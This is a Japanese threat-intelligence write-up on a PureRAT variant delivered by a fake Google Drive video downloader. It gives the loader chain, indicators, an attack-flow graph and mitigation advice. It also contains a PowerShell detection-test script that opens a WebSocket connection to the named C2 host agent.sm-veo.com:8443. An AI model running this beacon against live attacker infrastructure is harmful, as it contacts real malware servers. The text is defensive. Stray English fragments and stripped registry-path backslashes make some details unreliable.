AIビデオプレーヤーで発見されたPureRATの変種
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
マルウェアキャンペーンでは、Google ドライブをテーマにした偽のビデオダウンローダーを使用して、複数段階の実行チェーンを起動しています。感染はPythonベースのローダーからシェルコード、そしてPureRATとして識別される保護された.NETアセンブリへと移行します。マルウェアは重度の難読化、カスタム暗号化、および認証済みのWebSocket通信に依存してコマンドアンドコントロールトラフィックを管理します。
調査
調査では、Pythonバイトコードローダーから始まる段階的な実行フローを分析しました。研究者はBase85デコード、 zlib 解凍、およびシェルコード注入を通じて VirtualAllocを行うことを観察しました。さらなる分析により、重度に保護された.NETローダー Ykzrh/smveo-csharp-agent.exeが発見され、仮想化とランタイム再構築を使用して分析を難しくしていました。
緩和策
ユーザーには非公式または疑わしいビデオをテーマにしたおとりからファイルをダウンロードしないよう警告するべきです。組織は、許可されていないPythonの実行およびローカルアプリケーションデータディレクトリ内での異常な.NETアセンブリの動作を監視する必要があります。強力なアプリケーション許可リスト作成と疑わしいRunキーの変更の監視も妥協のリスクを減少させることができます。
応答
この活動が検出された場合、さらなるWebSocketベースのコマンドアンドコントロールトラフィックを妨害するために影響を受けたエンドポイントを直ちに隔離してください。捜査官はメモリフォレンジクスを行い、復号化された.NETペイロードをキャプチャして感染の範囲を特定する必要があります。ネットワークログもsmveo.comインフラストラクチャへの接続をレビューし、露出の可能性のある認証情報は回転させるべきです。 smveo.com infrastructure, and any potentially exposed credentials should be rotated.
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef obfuscation fill:#ffff99 classDef tool fill:#cccccc %% Node definitions act_user_exec[“<b>アクション</b> – <b>T1204 ユーザー実行</b><br/>被害者が偽のGoogleドライブまたはSMVEOビデオダウンロードに偽装されたおとりとインタラクトします。”] class act_user_exec action act_drive_by[“<b>アクション</b> – <b>T1189 ドライブ・バイ・妥協</b><br/>ユーザーが悪意のあるファイルをダウンロードします:<br/>DriveVideoSetup-x64-0.1.0.exe。”] class act_drive_by action mal_setup[“<b>マルウェア</b> – <b>初期実行可能ファイル</b><br/>ファイル: DriveVideoSetup-x64-0.1.0.exe<br/>持続性を確立して難読化チェーンを開始します。”] class mal_setup malware per_registry[“<b>アクション</b> – <b>T1547.014 持続性</b><br/>レジストリキーを変更します:<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRun”] class per_registry persistence act_deobf[“<b>アクション</b> – <b>T1140 ファイルの難読化解除/デコード</b><br/>Base85デコード、zlib解凍、およびmarshal.loadsを含む複雑なPythonステージ。”] class act_deobf obfuscation tool_donut[“<b>ツール</b> – <b>DonutLoader</b><br/>メモリ内でシェルコードを実行するために使用されるメカニズム。”] class tool_donut tool mal_ykzrh[“<b>マルウェア</b> – <b>Ykzrh.exe</b><br/>仮想化を利用する高度に保護された.NETローダー。”] class mal_ykzrh malware act_packing[“<b>アクション</b> – <b>T1027.002 ソフトウェア梱包</b><br/>コアロジックを隠すためにカスタムバイトコードインタプリタと仮想化を使用します。”] class act_packing obfuscation mal_purerat[“<b>マルウェア</b> – <b>PureRAT</b><br/>難読化を通じて攻撃のコア機能を隠します。”] class mal_purerat malware act_cert_steal[“<b>アクション</b> – <b>T1649 認証証明書の盗みまたは偽造</b><br/>%LOCALAPPDATA%SMVEO の下にclient.crtとclient.keyを生成します。”] class act_cert_steal action comm_c2[“<b>アクション</b> – <b>C2通信</b><br/>agent.sm-veo.comへの認証済みWebSocket通信。”] class comm_c2 action %% Connections act_user_exec –>|leads_to| act_drive_by act_drive_by –>|executes| mal_setup mal_setup –>|performs| per_registry mal_setup –>|initiates| act_deobf act_deobf –>|leads_to| tool_donut tool_donut –>|deploys| mal_ykzrh mal_ykzrh –>|utilizes| act_packing act_packing –>|hides| mal_purerat mal_purerat –>|performs| act_cert_steal act_cert_steal –>|facilitates| comm_c2
攻撃フロー
シミュレーション実行
前提条件: テレメトリ & ベースライン事前フライトチェックが合格している必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された攻撃者手法 (TTP) の正確な実行を記述しています。コマンドおよび説明は、特定されたTTPを直接反映し、検出ロジックで期待される正確なテレメトリを生成することを目指さなければなりません。抽象的または無関係な例は誤診につながります。
-
攻撃シナリオとコマンド: 攻撃者はPureRATバリアントの展開に成功しました。制御を維持するために、マルウェアは持続的なコマンドアンドコントロール (C2) チャネルを確立します。標準のHTTPポーリングの代わりに、認証済みWebSocket接続を使用して、長期間持続するWebSocketストリームを検査しないかもしれない従来のWebプロキシを回避します。攻撃者の目的は、port
agent.sm-veo.comポート8443上で安定した低レイテンシーのトンネルを確立することです。このシミュレーションは、悪意のあるURIへの接続を開始することで、このネットワーク行動を模倣するPowerShellスクリプトを使用します。 -
リグレッションテストスクリプト:
# WebSocketによるPureRATバリアントC2のシミュレーション # 目的: 宛先ドメインまたはURLを介して検出ルールをトリガーする。 $targetUrl = "wss://agent.sm-veo.com:8443/v1/ws" $targetDomain = "agent.sm-veo.com" Write-Host "[+] PureRAT C2のシミュレーションを開始中..." -ForegroundColor Cyan try { Write-Host "[+] $targetUrlにWebSocket接続を確立しようとしています" # 特定のプロトコルの挙動をシミュレートするために.NET WebSocketクライアントを使用 $ws = New-Object System.Net.WebSockets.ClientWebSocket $uri = New-Object System.Uri($targetUrl) $ct = New-Object System.Threading.CancellationTokenSource # ネットワークテレメトリをトリガーするために成功したハンドシェイクは必要ありません。 # ただ指定した宛先への接続試行だけで良いのです。 $task = $ws.ConnectAsync($uri, $ct.Token) # 接続試行がテレメトリを生成するのを待ちます Start-Sleep -Seconds 5 Write-Host "[!] 接続試行が完了しました。SIEMでのテレメトリを確認してください。" -ForegroundColor Green } catch { Write-Host "[!] 接続に失敗しました(ドメインがシンクホール/実際のものではない場合に予想されます)が、テレメトリは生成されているはずです。" -ForegroundColor Yellow } finally { if ($ws) { $ws.Dispose() } } -
クリーンアップコマンド:
# この特定のシミュレーションスクリプトでは永続的なファイルやレジストリキーは変更されませんでした。 # 永続性(T1547.001)がシミュレートされた場合、次を使用します: # Remove-ItemProperty -Path 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -Name 'PureRAT_Update' Write-Host "[+] クリーンアップ完了。ネットワークシミュレーションによって残されたアーティファクトはありません。" -ForegroundColor Cyan